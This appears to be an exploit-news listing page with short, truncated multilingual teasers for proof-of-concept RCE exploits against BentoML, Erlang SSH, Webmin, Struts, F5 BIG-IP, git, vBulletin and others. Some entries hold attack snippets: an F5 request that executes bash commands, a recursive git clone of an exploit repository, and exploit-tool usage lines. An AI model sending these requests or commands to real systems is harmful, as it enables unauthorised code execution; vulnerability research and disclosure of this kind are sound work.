CVE-2025-27520

CVE-2025-27520 CVE-2025-27520 익스플로잇 - BentoML 최신 버전v1.4.2의 안전하지 않은 역직렬화로 인한 원격 코드 실행RCE 취약점입니다. 이 취약점으로 인해 인증되지 않은 사용자가 서버에서 임의의 코드를 실행할 수 있습니다. serde.py에 안전하지 않은 코드 세그먼트가 존재합니다. 이 취약점은 1.4.3에서 수정되었습니다...

CVE-2025-32433

CVE-2025-32433 – Erlang/OTP SSH RCE 취약점 📌 요약 CVE-2025-32433 은 Erlang/OTP SSH 데몬에 영향을 미치는 원격 코드 실행RCE 취약점입니다. 근본 원인은 공격자가 사전 인증pre-authentication SSH 채널 요청을 조작하여 인증 전에 임의 명령 실행을 유발할 수 있도록 하는 부적절한 처리입니다. 포함된 PoC는 이러한 조작된 SSH 패킷을 전송하는 방법을 시연하며, 기본적으로 대상에 /lab.txt 파일을 생성하지만 다른 명령으로 변경할 수 있습니다. ⚠️ 면책...

CVE-2024-7029

EN GenAvTechRCEExploit CVE-2024-7029 취약점에 대한 PoC 익스플로잇으로, AvTech 장치에서 원격 코드 실행RCE을 가능하게 합니다. 이 도구는 취약한 장치를 스캔하고 상호 작용 방식으로 명령을 실행할 수 있습니다. 기능 취약점 탐지 : AvTech 장치가 RCE에 취약한지 확인합니다. 대화형 셸 : 대화형 셸을 통해 대상 장치에서 명령을 실행합니다. 멀티스레드 스캐닝 : 멀티스레딩을 사용하여 여러 대상을 동시에 스캔합니다. 페이로드 실행 : 특수 제작된 페이로드를 전송하여 원격으로 명령을...

CVE-2026-Pending-Django-Summernote-RCE

CVE-2026-XXXXX Pending: django-summernote 임의 파일 업로드 RCE 이 저장소는 django-summernote 버전 0.8.20.0및 이전 버전에서 발견된 조건부 원격 코드 실행RCE 취약점에 대한 개념 증명PoC을 포함합니다. 취약점 상세 정보 제품 : django-summernote 버전 : = 0.8.20.0 유형 : 무제한 파일 업로드 CWE-434 심각도 : 높음 CVSS 7.2 영향 : 원격 코드 실행 RCE 설명 이 취약점은 setup.py의 엄격한 의존성 강제 부재와...

CVE-2022-36446-Webmin-RCE

CVE-2022-36446 — Webmin 1.997 RCE Authenticated Эксплойт для уязвимости Remote Code Execution в Webmin версиях старше 1.997, через модуль Software Package Updates. Как это работает? Модуль Software Package Updates Webmin не санитизирует должным образом параметр u перед передачей его системе...

CVE-2022-30190

CVE-2022-30190 - Средство диагностики поддержки Microsoft Описание Этот скрипт попытается создать документ Microsoft Office, который удалённо выполнит код. Настройка root@kitploit: git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help...

CVE-2017-5638

CVE-2017-5638 CVE-2017-5638 Эксплойт Apache Struts2 RCE 🛠️ Описание Это простой PoC на Python для CVE-2017-5638 — уязвимости удаленного выполнения кода в Apache Struts 2. ⚠️ Предупреждение Этот код предоставлен только для образовательных целей. НЕ используйте его в любой системе без явного...

CVE-2025-67435-PoC

CVE-2025-67435 Исследователь : Chowdhury Faizal Ahammed PluckCMS — Отчёт об уязвимости удалённого выполнения кода через Zip Slip Исполнительное резюме Данный отчёт документирует критическую уязвимость безопасности, обнаруженную в PluckCMS, которая позволяет аутентифицированным атакующим добиться...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2020-14882

Уязвимость удаленного выполнения кода в WebLogic - CVE-2020-14882 Введение CVE-2020-14882 — это ошибка удаленного выполнения кода RCE в компоненте Console Oracle WebLogic Server. Эта ошибка, не требующая аутентификации, получила оценку сложности атаки «низкая» и была отмечена Oracle как «легко...

CVE-2025-48827

Описание: Удаленное выполнение кода RCE для Vbullettin версий от 5.0.0 до 5.7.5 и от 6.0.0 до 6.0.3 с PHP 8.1 Возможности: Многопоточность Чтение из файла списка целей Обнаружение сайтов на Vbullettin Проверка уязвимости, при успехе загрузка PHP-веб-шелла Детали использования: usage:...

CVE-2025-26892

CVE-2025-26892 – Тема WordPress Celestial Aura = 2.2 Произвольная загрузка файлов аутентифицированная 📄 Описание В теме WordPress Celestial Aura разработанной dkszone до версии 2.2 существует уязвимость неограниченной загрузки файлов. Аутентифицированный пользователь с низкими привилегиями может...

CVE-2018-11235

CVE-2018-11235 Уязвимость удалённого выполнения кода RCE при выполнении "git clone --recurse-submodule" CVE-2018-11235...

git_rce

CVE-2024-32002 PoC 1. 다음과 같이 git의 심볼릭 링크 옵션을 설정해야 합니다: root@kitploit: git config --global core.symlinks true 2. 그런 다음 다음 명령으로 CVE-2024-32002를 악용합니다: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 공격 시나리오 kali192.168.216.129 --원격 저장소 주소 전달-- Win192.168.216.130...

CVE-2021-22911

CVE-2021-22911 Слепая NoSQL-инъекция без аутентификации, приводящая к удаленному выполнению кода в Rocket Chat 3.12.1 Метод getPasswordPolicy уязвим к NoSQL-инъекциям и не требует аутентификации/авторизации. Он может быть использован для захвата учетных записей путем утечки токенов сброса пароля...

Apache-Struts-0Day-Exploit

Apache-Struts-0Day-Exploit Apache Struts で発見された重大なリモートコード実行脆弱性（CVE-2018-11776）。 インストール git clone https://github.com/LightC0der/Apache-Struts-0Day-Exploit/ 使用法: python ApacheStruts.py URL : www.example.com/ シェル : 「コマンド」 例: ls, dir, whoami...

CVE-2021-32159

..| CSRFtoCommandInjection1 |.. Описание: Эксплуатация атаки межсайтовой подделки запросов CSRF для внедрения команд через функцию загрузки и скачивания Webmin Протестированная версия: Webmin 1.973 последняя версия на GitHub от 07.03.2021 Тип атаки: Удалённая Воздействие: Выполнение команд Код PO...

cve-2018-15133

POC - CVE-2018-15133 Использование: root@kitploit: $ ./CVE-2018-15133 -h Usage: ./CVE-2018-15133 options Options: -APIKEY string API key del sitio web de Laravel, codificada en base64 -URL string URL del sitio web de Laravel a atacar -command string Comando a ejecutar en el sitio web vulnerable; ...

CVE-2022-1388_PoC

F5 BIG-IP RCE エクスプロイト CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl コマンドライン: root@kitploit: $ curl -i -s -k -X $'POST' \ ...

Writing-Sample-1

Log4j: CVE-2021-44228 Сводка уязвимости Log4j и меры по смягчению последствий Содержание 1. Основные выводы 2. Выявление уязвимых конечных точек и сервисов 3. Меры по смягчению последствий A. Блокировка на периметре сети B. Установка EDR на серверные конечные точки C. Размещение уязвимых...